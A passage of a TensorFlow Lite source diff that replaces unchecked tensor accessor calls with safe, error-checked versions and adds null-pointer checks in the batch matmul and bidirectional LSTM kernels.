-    TfLiteTensor* scratch_buffer = GetTemporary(context, node, /*index=*/0);
+    TfLiteTensor* scratch_buffer;
+    TF_LITE_ENSURE_OK(
+        context, GetTemporarySafe(context, node, /*index=*/0, &scratch_buffer));
     TfLiteIntArray* scratch_buffer_size = TfLiteIntArrayCreate(lhs_rank);
     for (int i = 0; i < lhs_rank - 2; ++i) {
       scratch_buffer_size->data[i] = lhs->dims->data[i];
@@ -175,7 +177,9 @@ TfLiteStatus InitializeTemporaries(TfLiteContext* context, TfLiteNode* node,
   // is set by the caller, the data is already in the desired layout.
   {
     node->temporaries->data[1] = op_data->scratch_tensor_index + 1;
-    TfLiteTensor* scratch_buffer = GetTemporary(context, node, /*index=*/1);
+    TfLiteTensor* scratch_buffer;
+    TF_LITE_ENSURE_OK(
+        context, GetTemporarySafe(context, node, /*index=*/1, &scratch_buffer));
     const TfLiteTensor* rhs = op_context->rhs;
     int rhs_rank = NumDimensions(rhs);
     TfLiteIntArray* scratch_buffer_size = TfLiteIntArrayCreate(rhs_rank);
@@ -215,7 +219,9 @@ TfLiteStatus InitializeTemporaries(TfLiteContext* context, TfLiteNode* node,
     }
     op_data->compute_row_sums = true;
     node->temporaries->data[2] = op_data->scratch_tensor_index + 2;
-    TfLiteTensor* input_quantized = GetTemporary(context, node, /*index=*/2);
+    TfLiteTensor* input_quantized;
+    TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, /*index=*/2,
+                                                &input_quantized));
     input_quantized->type = op_context->rhs->type;
     input_quantized->allocation_type = kTfLiteArenaRw;
 
@@ -225,7 +231,9 @@ TfLiteStatus InitializeTemporaries(TfLiteContext* context, TfLiteNode* node,
                                                      input_quantized_size));
 
     node->temporaries->data[3] = op_data->scratch_tensor_index + 3;
-    TfLiteTensor* scaling_factors = GetTemporary(context, node, /*index=*/3);
+    TfLiteTensor* scaling_factors;
+    TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, /*index=*/3,
+                                                &scaling_factors));
     scaling_factors->type = kTfLiteFloat32;
     scaling_factors->allocation_type = kTfLiteArenaRw;
     // Total size of scaling factors is batch size * number of total batches
@@ -238,7 +246,9 @@ TfLiteStatus InitializeTemporaries(TfLiteContext* context, TfLiteNode* node,
     }
 
     node->temporaries->data[4] = op_data->scratch_tensor_index + 4;
-    TfLiteTensor* accum_scratch = GetTemporary(context, node, /*index=*/4);
+    TfLiteTensor* accum_scratch;
+    TF_LITE_ENSURE_OK(
+        context, GetTemporarySafe(context, node, /*index=*/4, &accum_scratch));
     accum_scratch->type = kTfLiteInt32;
     accum_scratch->allocation_type = kTfLiteArenaRw;
     int accum_scratch_dims[2] = {num_units, batch_size};
@@ -252,7 +262,9 @@ TfLiteStatus InitializeTemporaries(TfLiteContext* context, TfLiteNode* node,
     }
 
     node->temporaries->data[5] = op_data->scratch_tensor_index + 5;
-    TfLiteTensor* input_offsets = GetTemporary(context, node, /*index=*/5);
+    TfLiteTensor* input_offsets;
+    TF_LITE_ENSURE_OK(
+        context, GetTemporarySafe(context, node, /*index=*/5, &input_offsets));
     input_offsets->type = kTfLiteInt32;
     input_offsets->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqualsArray(input_offsets->dims, 1, scaling_dims)) {
@@ -262,7 +274,9 @@ TfLiteStatus InitializeTemporaries(TfLiteContext* context, TfLiteNode* node,
                                                        input_offsets_size));
     }
     node->temporaries->data[6] = op_data->scratch_tensor_index + 6;
-    TfLiteTensor* row_sums = GetTemporary(context, node, /*index=*/6);
+    TfLiteTensor* row_sums;
+    TF_LITE_ENSURE_OK(context,
+                      GetTemporarySafe(context, node, /*index=*/6, &row_sums));
     row_sums->type = kTfLiteInt32;
     row_sums->allocation_type = kTfLiteArenaRwPersistent;
     int row_sums_dims[1] = {num_weights_matrices * num_units};
@@ -288,9 +302,15 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   bool adj_x = op_context.params->adj_x;
   bool adj_y = op_context.params->adj_y;
 
-  const TfLiteTensor* lhs_data = GetInput(context, node, kInputLHSTensor);
-  const TfLiteTensor* rhs_data = GetInput(context, node, kInputRHSTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* lhs_data;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputLHSTensor, &lhs_data));
+  const TfLiteTensor* rhs_data;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputRHSTensor, &rhs_data));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   // Note that quantized inference requires that all tensors have their
   // parameters set. This is usually done during quantized training.
@@ -502,11 +522,21 @@ TfLiteStatus EvalQuantized(TfLiteContext* context, TfLiteNode* node,
                            const RuntimeShape& rhs_shape,
                            const TfLiteTensor* rhs, TfLiteTensor* output) {
   if (lhs->type == kTfLiteFloat32) {
-    TfLiteTensor* input_quantized = GetTemporary(context, node, /*index=*/2);
-    TfLiteTensor* scaling_factors = GetTemporary(context, node, /*index=*/3);
-    TfLiteTensor* accum_scratch = GetTemporary(context, node, /*index=*/4);
-    TfLiteTensor* input_offsets = GetTemporary(context, node, /*index=*/5);
-    TfLiteTensor* row_sums = GetTemporary(context, node, /*index=*/6);
+    TfLiteTensor* input_quantized;
+    TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, /*index=*/2,
+                                                &input_quantized));
+    TfLiteTensor* scaling_factors;
+    TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, /*index=*/3,
+                                                &scaling_factors));
+    TfLiteTensor* accum_scratch;
+    TF_LITE_ENSURE_OK(
+        context, GetTemporarySafe(context, node, /*index=*/4, &accum_scratch));
+    TfLiteTensor* input_offsets;
+    TF_LITE_ENSURE_OK(
+        context, GetTemporarySafe(context, node, /*index=*/5, &input_offsets));
+    TfLiteTensor* row_sums;
+    TF_LITE_ENSURE_OK(context,
+                      GetTemporarySafe(context, node, /*index=*/6, &row_sums));
     return EvalHybrid<kernel_type>(
         context, node, data, lhs_shape, lhs, rhs_shape, rhs, input_quantized,
         scaling_factors, accum_scratch, row_sums, input_offsets, output);
@@ -524,6 +554,10 @@ TfLiteStatus EvalQuantized(TfLiteContext* context, TfLiteNode* node,
 TfLiteTensor* GetTempRhs(TfLiteContext* context, TfLiteNode* node,
                          const TfLiteTensor* rhs) {
   TfLiteTensor* transposed_rhs = GetTemporary(context, node, 1);
+  if (transposed_rhs == nullptr) {
+    return nullptr;
+  }
+
   if (rhs->type == kTfLiteInt8) {
     // Get the quantization params from the RHS tensor.
     transposed_rhs->params.scale = rhs->params.scale;
@@ -535,6 +569,10 @@ TfLiteTensor* GetTempRhs(TfLiteContext* context, TfLiteNode* node,
 TfLiteTensor* GetTempLhs(TfLiteContext* context, TfLiteNode* node,
                          const TfLiteTensor* lhs) {
   TfLiteTensor* transposed_lhs = GetTemporary(context, node, 0);
+  if (transposed_lhs == nullptr) {
+    return nullptr;
+  }
+
   if (lhs->type == kTfLiteInt8) {
     // Get the quantization params from the LHS tensor.
     transposed_lhs->params.scale = lhs->params.scale;
@@ -558,9 +596,15 @@ template <KernelType kernel_type>
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   OpContext op_context(context, node);
   OpData* op_data = reinterpret_cast<OpData*>(node->user_data);
-  const TfLiteTensor* lhs = GetInput(context, node, kInputLHSTensor);
-  const TfLiteTensor* rhs = GetInput(context, node, kInputRHSTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* lhs;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputLHSTensor, &lhs));
+  const TfLiteTensor* rhs;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputRHSTensor, &rhs));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
   RuntimeShape orig_lhs_shape = GetTensorShape(lhs);
   RuntimeShape orig_rhs_shape = GetTensorShape(rhs);
 
diff --git a/tensorflow/lite/kernels/bidirectional_sequence_lstm.cc b/tensorflow/lite/kernels/bidirectional_sequence_lstm.cc
index 45d973d1d98edf..7ccc67c79f665b 100644
--- a/tensorflow/lite/kernels/bidirectional_sequence_lstm.cc
+++ b/tensorflow/lite/kernels/bidirectional_sequence_lstm.cc
@@ -21,6 +21,7 @@ limitations under the License.
 #include "tensorflow/lite/c/builtin_op_data.h"
 #include "tensorflow/lite/c/common.h"
 #include "tensorflow/lite/kernels/cpu_backend_context.h"
+#include "tensorflow/lite/kernels/internal/compatibility.h"
 #include "tensorflow/lite/kernels/internal/kernel_utils.h"
 #include "tensorflow/lite/kernels/internal/tensor_utils.h"
 #include "tensorflow/lite/kernels/kernel_util.h"
@@ -192,8 +193,10 @@ TfLiteStatus CheckLstmTensorDimensionsAndTypes(
   TF_LITE_ENSURE(context, params->cell_clip >= 0);
   TF_LITE_ENSURE(context, params->proj_clip >= 0);
 
-  const TfLiteTensor* input_to_forget_weights =
-      GetInput(context, node, input_to_forget_weights_tensor);
+  const TfLiteTensor* input_to_forget_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, input_to_forget_weights_tensor,
+                                 &input_to_forget_weights));
   TF_LITE_ENSURE_EQ(context, input_to_forget_weights->dims->size, 2);
   TF_LITE_ENSURE_EQ(context, input_to_forget_weights->dims->data[0], n_cell);
   TF_LITE_ENSURE_EQ(context, input_to_forget_weights->dims->data[1], n_input);
@@ -211,16 +214,20 @@ TfLiteStatus CheckLstmTensorDimensionsAndTypes(
                             input_to_forget_weights->type);
   }
 
-  const TfLiteTensor* input_to_cell_weights =
-      GetInput(context, node, input_to_cell_weights_tensor);
+  const TfLiteTensor* input_to_cell_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, input_to_cell_weights_tensor,
+                                 &input_to_cell_weights));
   TF_LITE_ENSURE_EQ(context, input_to_cell_weights->dims->size, 2);
   TF_LITE_ENSURE_EQ(context, input_to_cell_weights->dims->data[0], n_cell);
   TF_LITE_ENSURE_EQ(context, input_to_cell_weights->dims->data[1], n_input);
   TF_LITE_ENSURE_TYPES_EQ(context, input_to_cell_weights->type,
                           input_to_forget_weights->type);
 
-  const TfLiteTensor* input_to_output_weights =
-      GetInput(context, node, input_to_output_weights_tensor);
+  const TfLiteTensor* input_to_output_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, input_to_output_weights_tensor,
+                                 &input_to_output_weights));
   TF_LITE_ENSURE_EQ(context, input_to_output_weights->dims->size, 2);
   TF_LITE_ENSURE_EQ(context, input_to_output_weights->dims->data[0], n_cell);
   TF_LITE_ENSURE_EQ(context, input_to_output_weights->dims->data[1], n_input);
@@ -239,8 +246,10 @@ TfLiteStatus CheckLstmTensorDimensionsAndTypes(
                             input_to_forget_weights->type);
   }
 
-  const TfLiteTensor* recurrent_to_forget_weights =
-      GetInput(context, node, recurrent_to_forget_weights_tensor);
+  const TfLiteTensor* recurrent_to_forget_weights;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node, recurrent_to_forget_weights_tensor,
+                            &recurrent_to_forget_weights));
   TF_LITE_ENSURE_EQ(context, recurrent_to_forget_weights->dims->size, 2);
   TF_LITE_ENSURE_EQ(context, recurrent_to_forget_weights->dims->data[0],
                     n_cell);
@@ -249,8 +258,10 @@ TfLiteStatus CheckLstmTensorDimensionsAndTypes(
   TF_LITE_ENSURE_TYPES_EQ(context, recurrent_to_forget_weights->type,
                           input_to_forget_weights->type);
 
-  const TfLiteTensor* recurrent_to_cell_weights =
-      GetInput(context, node, recurrent_to_cell_weights_tensor);
+  const TfLiteTensor* recurrent_to_cell_weights;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node, recurrent_to_cell_weights_tensor,
+                            &recurrent_to_cell_weights));
   TF_LITE_ENSURE_EQ(context, recurrent_to_cell_weights->dims->size, 2);
   TF_LITE_ENSURE_EQ(context, recurrent_to_cell_weights->dims->data[0], n_cell);
   TF_LITE_ENSURE_EQ(context, recurrent_to_cell_weights->dims->data[1],
@@ -316,20 +327,25 @@ TfLiteStatus CheckLstmTensorDimensionsAndTypes(
     TF_LITE_ENSURE_TYPES_EQ(context, input_gate_bias->type, kTfLiteFloat32);
   }
 
-  const TfLiteTensor* forget_gate_bias =
-      GetInput(context, node, forget_gate_bias_tensor);
+  const TfLiteTensor* forget_gate_bias;
+  TF_LITE_ENSURE_OK(
+      context,
+      GetInputSafe(context, node, forget_gate_bias_tensor, &forget_gate_bias));
   TF_LITE_ENSURE_EQ(context, forget_gate_bias->dims->size, 1);
   TF_LITE_ENSURE_EQ(context, forget_gate_bias->dims->data[0], n_cell);
   TF_LITE_ENSURE_TYPES_EQ(context, forget_gate_bias->type, kTfLiteFloat32);
 
-  const TfLiteTensor* cell_gate_bias =
-      GetInput(context, node, cell_gate_bias_tensor);
+  const TfLiteTensor* cell_gate_bias;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, cell_gate_bias_tensor,
+                                          &cell_gate_bias));
   TF_LITE_ENSURE_EQ(context, cell_gate_bias->dims->size, 1);
   TF_LITE_ENSURE_EQ(context, cell_gate_bias->dims->data[0], n_cell);
   TF_LITE_ENSURE_EQ(context, cell_gate_bias->type, kTfLiteFloat32);
 
-  const TfLiteTensor* output_gate_bias =
-      GetInput(context, node, output_gate_bias_tensor);
+  const TfLiteTensor* output_gate_bias;
+  TF_LITE_ENSURE_OK(
+      context,
+      GetInputSafe(context, node, output_gate_bias_tensor, &output_gate_bias));
   TF_LITE_ENSURE_EQ(context, output_gate_bias->dims->size, 1);
   TF_LITE_ENSURE_EQ(context, output_gate_bias->dims->data[0], n_cell);
   TF_LITE_ENSURE_TYPES_EQ(context, output_gate_bias->type, kTfLiteFloat32);
@@ -413,7 +429,8 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 
   // Inferring batch size, number of outputs and sequence length and
   // number of cells from the input tensors.
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
   TF_LITE_ENSURE_TYPES_EQ(context, input->type, kTfLiteFloat32);
   TF_LITE_ENSURE_EQ(context, input->dims->size, 3);
   const bool time_major = params->time_major;
@@ -421,15 +438,19 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   const int n_batch = time_major ? input->dims->data[1] : input->dims->data[0];
   const int n_input = input->dims->data[2];
 
-  const TfLiteTensor* fw_input_to_output_weights =
-      GetInput(context, node, kFwInputToOutputWeightsTensor);
+  const TfLiteTensor* fw_input_to_output_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kFwInputToOutputWeightsTensor,
+                                 &fw_input_to_output_weights));
   const int n_fw_cell = fw_input_to_output_weights->dims->data[0];
   TF_LITE_ENSURE_EQ(context, fw_input_to_output_weights->dims->size, 2);
   TF_LITE_ENSURE_EQ(context, fw_input_to_output_weights->dims->data[1],
                     n_input);
 
-  const TfLiteTensor* bw_input_to_output_weights =
-      GetInput(context, node, kBwInputToOutputWeightsTensor);
+  const TfLiteTensor* bw_input_to_output_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kBwInputToOutputWeightsTensor,
+                                 &bw_input_to_output_weights));
   const int n_bw_cell = bw_input_to_output_weights->dims->data[0];
   TF_LITE_ENSURE_EQ(context, bw_input_to_output_weights->dims->size, 2);
   TF_LITE_ENSURE_EQ(context, bw_input_to_output_weights->dims->data[1],
@@ -437,8 +458,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, bw_input_to_output_weights->type,
                     fw_input_to_output_weights->type);
 
-  const TfLiteTensor* fw_recurrent_to_output_weights =
-      GetInput(context, node, kFwRecurrentToOutputWeightsTensor);
+  const TfLiteTensor* fw_recurrent_to_output_weights;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node, kFwRecurrentToOutputWeightsTensor,
+                            &fw_recurrent_to_output_weights));
   TF_LITE_ENSURE_EQ(context, fw_recurrent_to_output_weights->dims->size, 2);
   TF_LITE_ENSURE_EQ(context, fw_recurrent_to_output_weights->dims->data[0],
                     n_fw_cell);
@@ -446,8 +469,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
                     fw_input_to_output_weights->type);
   const int n_fw_output = fw_recurrent_to_output_weights->dims->data[1];
 
-  const TfLiteTensor* bw_recurrent_to_output_weights =
-      GetInput(context, node, kBwRecurrentToOutputWeightsTensor);
+  const TfLiteTensor* bw_recurrent_to_output_weights;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node, kBwRecurrentToOutputWeightsTensor,
+                            &bw_recurrent_to_output_weights));
   TF_LITE_ENSURE_EQ(context, bw_recurrent_to_output_weights->dims->size, 2);
   TF_LITE_ENSURE_EQ(context, bw_recurrent_to_output_weights->dims->data[0],
                     n_bw_cell);
@@ -504,7 +529,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   }
 
   // Get the pointer to output, activation_state and cell_state buffer tensors.
-  TfLiteTensor* fw_output = GetOutput(context, node, kFwOutputTensor);
+  TfLiteTensor* fw_output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kFwOutputTensor, &fw_output));
   TfLiteTensor* fw_activation_state =
       GetVariableInput(context, node, kFwInputActivationStateTensor);
   TF_LITE_ENSURE(context, fw_activation_state != nullptr);
@@ -541,8 +568,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   // Create a scratch buffer tensor.
   node->temporaries->data[kFwScratchBuffer] =
       op_data->scratch_tensor_index + kFwScratchBuffer;
-  TfLiteTensor* fw_scratch_buffer =
-      GetTemporary(context, node, kFwScratchBuffer);
+  TfLiteTensor* fw_scratch_buffer;
+  TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, kFwScratchBuffer,
+                                              &fw_scratch_buffer));
   fw_scratch_buffer->type = input->type;
   fw_scratch_buffer->allocation_type = kTfLiteArenaRw;
 
@@ -581,7 +609,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 
   // Resize the output tensors.
   if (!params->merge_outputs) {
-    TfLiteTensor* bw_output = GetOutput(context, node, kBwOutputTensor);
+    TfLiteTensor* bw_output;
+    TF_LITE_ENSURE_OK(
+        context, GetOutputSafe(context, node, kBwOutputTensor, &bw_output));
     TfLiteIntArray* bw_output_size = TfLiteIntArrayCreate(3);
     bw_output_size->data[0] = time_major ? max_time : n_batch;
     bw_output_size->data[1] = time_major ? n_batch : max_time;
@@ -600,8 +630,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   // Create a scratch buffer tensor.
   node->temporaries->data[kBwScratchBuffer] =
       op_data->scratch_tensor_index + kBwScratchBuffer;
-  TfLiteTensor* bw_scratch_buffer =
-      GetTemporary(context, node, kBwScratchBuffer);
+  TfLiteTensor* bw_scratch_buffer;
+  TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, kBwScratchBuffer,
+                                              &bw_scratch_buffer));
   bw_scratch_buffer->type = input->type;
   bw_scratch_buffer->allocation_type = kTfLiteArenaRw;
 
@@ -631,8 +662,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     // (if present), activation_state and cell_state tensors.
     node->temporaries->data[kInputQuantized] =
         op_data->scratch_tensor_index + kInputQuantized;
-    TfLiteTensor* input_quantized =
-        GetTemporary(context, node, kInputQuantized);
+    TfLiteTensor* input_quantized;
+    TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, kInputQuantized,
+                                                &input_quantized));
     input_quantized->type = fw_input_to_output_weights->type;
     input_quantized->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqual(input_quantized->dims, input->dims)) {
@@ -643,8 +675,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 
     node->temporaries->data[kFwActivationStateQuantized] =
         op_data->scratch_tensor_index + kFwActivationStateQuantized;
-    TfLiteTensor* fw_activation_state_quantized =
-        GetTemporary(context, node, kFwActivationStateQuantized);
+    TfLiteTensor* fw_activation_state_quantized;
+    TF_LITE_ENSURE_OK(
+        context, GetTemporarySafe(context, node, kFwActivationStateQuantized,
+                                  &fw_activation_state_quantized));
     fw_activation_state_quantized->type = fw_input_to_output_weights->type;
     fw_activation_state_quantized->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqual(fw_activation_state_quantized->dims,
@@ -657,8 +691,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     }
     node->temporaries->data[kBwActivationStateQuantized] =
         op_data->scratch_tensor_index + kBwActivationStateQuantized;
-    TfLiteTensor* bw_activation_state_quantized =
-        GetTemporary(context, node, kBwActivationStateQuantized);
+    TfLiteTensor* bw_activation_state_quantized;
+    TF_LITE_ENSURE_OK(
+        context, GetTemporarySafe(context, node, kBwActivationStateQuantized,
+                                  &bw_activation_state_quantized));
     bw_activation_state_quantized->type = fw_input_to_output_weights->type;
     bw_activation_state_quantized->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqual(bw_activation_state_quantized->dims,
@@ -671,8 +707,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     }
     node->temporaries->data[kFwCellStateQuantized] =
         op_data->scratch_tensor_index + kFwCellStateQuantized;
-    TfLiteTensor* fw_cell_state_quantized =
-        GetTemporary(context, node, kFwCellStateQuantized);
+    TfLiteTensor* fw_cell_state_quantized;
+    TF_LITE_ENSURE_OK(context,
+                      GetTemporarySafe(context, node, kFwCellStateQuantized,
+                                       &fw_cell_state_quantized));
     fw_cell_state_quantized->type = fw_input_to_output_weights->type;
     fw_cell_state_quantized->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqual(fw_cell_state_quantized->dims,
@@ -685,8 +723,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     }
     node->temporaries->data[kBwCellStateQuantized] =
         op_data->scratch_tensor_index + kBwCellStateQuantized;
-    TfLiteTensor* bw_cell_state_quantized =
-        GetTemporary(context, node, kBwCellStateQuantized);
+    TfLiteTensor* bw_cell_state_quantized;
+    TF_LITE_ENSURE_OK(context,
+                      GetTemporarySafe(context, node, kBwCellStateQuantized,
+                                       &bw_cell_state_quantized));
     bw_cell_state_quantized->type = fw_input_to_output_weights->type;
     bw_cell_state_quantized->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqual(bw_cell_state_quantized->dims,
@@ -705,7 +745,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     // the scaling factor of the matrix).
     node->temporaries->data[kInputScalingFactors] =
         op_data->scratch_tensor_index + kInputScalingFactors;
-    TfLiteTensor* input_sf = GetTemporary(context, node, kInputScalingFactors);
+    TfLiteTensor* input_sf;
+    TF_LITE_ENSURE_OK(
+        context,
+        GetTemporarySafe(context, node, kInputScalingFactors, &input_sf));
     input_sf->type = kTfLiteFloat32;
     input_sf->allocation_type = kTfLiteArenaRw;
     int scaling_dims[1] = {n_batch};
@@ -717,8 +760,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     }
     node->temporaries->data[kAuxInputScalingFactors] =
         op_data->scratch_tensor_index + kAuxInputScalingFactors;
-    TfLiteTensor* aux_input_sf =
-        GetTemporary(context, node, kAuxInputScalingFactors);
+    TfLiteTensor* aux_input_sf;
+    TF_LITE_ENSURE_OK(context,
+                      GetTemporarySafe(context, node, kAuxInputScalingFactors,
+                                       &aux_input_sf));
     aux_input_sf->type = kTfLiteFloat32;
     aux_input_sf->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqualsArray(aux_input_sf->dims, 1, scaling_dims)) {
@@ -729,8 +774,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     }
     node->temporaries->data[kOutputStateScalingFactors] =
         op_data->scratch_tensor_index + kOutputStateScalingFactors;
-    TfLiteTensor* output_state_sf =
-        GetTemporary(context, node, kOutputStateScalingFactors);
+    TfLiteTensor* output_state_sf;
+    TF_LITE_ENSURE_OK(
+        context, GetTemporarySafe(context, node, kOutputStateScalingFactors,
+                                  &output_state_sf));
     output_state_sf->type = kTfLiteFloat32;
     output_state_sf->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqualsArray(output_state_sf->dims, 1, scaling_dims)) {
@@ -741,8 +788,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     }
     node->temporaries->data[kProductScalingFactors] =
         op_data->scratch_tensor_index + kProductScalingFactors;
-    TfLiteTensor* prod_scaling_factors =
-        GetTemporary(context, node, kProductScalingFactors);
+    TfLiteTensor* prod_scaling_factors;
+    TF_LITE_ENSURE_OK(context,
+                      GetTemporarySafe(context, node, kProductScalingFactors,
+                                       &prod_scaling_factors));
     prod_scaling_factors->type = kTfLiteFloat32;
     prod_scaling_factors->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqualsArray(prod_scaling_factors->dims, 1,
@@ -758,8 +807,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     // this is used for diagonal matrices, only need to store n_cell values.
     node->temporaries->data[kRecoveredCellWeights] =
         op_data->scratch_tensor_index + kRecoveredCellWeights;
-    TfLiteTensor* recovered_cell_weights =
-        GetTemporary(context, node, kRecoveredCellWeights);
+    TfLiteTensor* recovered_cell_weights;
+    TF_LITE_ENSURE_OK(context,
+                      GetTemporarySafe(context, node, kRecoveredCellWeights,
+                                       &recovered_cell_weights));
     recovered_cell_weights->type = kTfLiteFloat32;
     recovered_cell_weights->allocation_type = kTfLiteArenaRw;
     int recovered_cell_dims[1] = {n_fw_cell};
@@ -775,8 +826,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     // Allocate a temporary tensor to store the accumulated int32 values.
     node->temporaries->data[kAccumScratchBuffer] =
         op_data->scratch_tensor_index + kAccumScratchBuffer;
-    TfLiteTensor* accum_scratch =
-        GetTemporary(context, node, kAccumScratchBuffer);
+    TfLiteTensor* accum_scratch;
+    TF_LITE_ENSURE_OK(
+        context,
+        GetTemporarySafe(context, node, kAccumScratchBuffer, &accum_scratch));
     accum_scratch->type = kTfLiteInt32;
     accum_scratch->allocation_type = kTfLiteArenaRw;
     int n_cell = std::max(n_fw_cell, n_bw_cell);
@@ -797,7 +850,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     // Allocate temporary tensors for storing zero-points.
     node->temporaries->data[kInputZeroPoints] =
         op_data->scratch_tensor_index + kInputZeroPoints;
-    TfLiteTensor* input_zp = GetTemporary(context, node, kInputZeroPoints);
+    TfLiteTensor* input_zp;
+    TF_LITE_ENSURE_OK(
+        context, GetTemporarySafe(context, node, kInputZeroPoints, &input_zp));
     input_zp->type = kTfLiteFloat32;
     input_zp->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqualsArray(input_zp->dims, 1, scaling_dims)) {
@@ -808,8 +863,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     }
     node->temporaries->data[kAuxInputZeroPoints] =
         op_data->scratch_tensor_index + kAuxInputZeroPoints;
-    TfLiteTensor* aux_input_zp =
-        GetTemporary(context, node, kAuxInputZeroPoints);
+    TfLiteTensor* aux_input_zp;
+    TF_LITE_ENSURE_OK(
+        context,
+        GetTemporarySafe(context, node, kAuxInputZeroPoints, &aux_input_zp));
     aux_input_zp->type = kTfLiteFloat32;
     aux_input_zp->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqualsArray(aux_input_zp->dims, 1, scaling_dims)) {
@@ -820,8 +877,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     }
     node->temporaries->data[kOutputStateZeroPoints] =
         op_data->scratch_tensor_index + kOutputStateZeroPoints;
-    TfLiteTensor* output_state_zp =
-        GetTemporary(context, node, kOutputStateZeroPoints);
+    TfLiteTensor* output_state_zp;
+    TF_LITE_ENSURE_OK(context,
+                      GetTemporarySafe(context, node, kOutputStateZeroPoints,
+                                       &output_state_zp));
     output_state_zp->type = kTfLiteFloat32;
     output_state_zp->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqualsArray(output_state_zp->dims, 1, scaling_dims)) {
@@ -844,7 +903,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     }
     node->temporaries->data[kFwRowSums] =
         op_data->scratch_tensor_index + kFwRowSums;
-    TfLiteTensor* fw_row_sums = GetTemporary(context, node, kFwRowSums);
+    TfLiteTensor* fw_row_sums;
+    TF_LITE_ENSURE_OK(
+        context, GetTemporarySafe(context, node, kFwRowSums, &fw_row_sums));
     fw_row_sums->type = kTfLiteInt32;
     fw_row_sums->allocation_type = kTfLiteArenaRwPersistent;
     int fw_row_sums_dims[2] = {fw_row_sums_rows, n_fw_cell};
@@ -867,7 +928,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     }
     node->temporaries->data[kBwRowSums] =
         op_data->scratch_tensor_index + kBwRowSums;
-    TfLiteTensor* bw_row_sums = GetTemporary(context, node, kBwRowSums);
+    TfLiteTensor* bw_row_sums;
+    TF_LITE_ENSURE_OK(
+        context, GetTemporarySafe(context, node, kBwRowSums, &bw_row_sums));
     bw_row_sums->type = kTfLiteInt32;
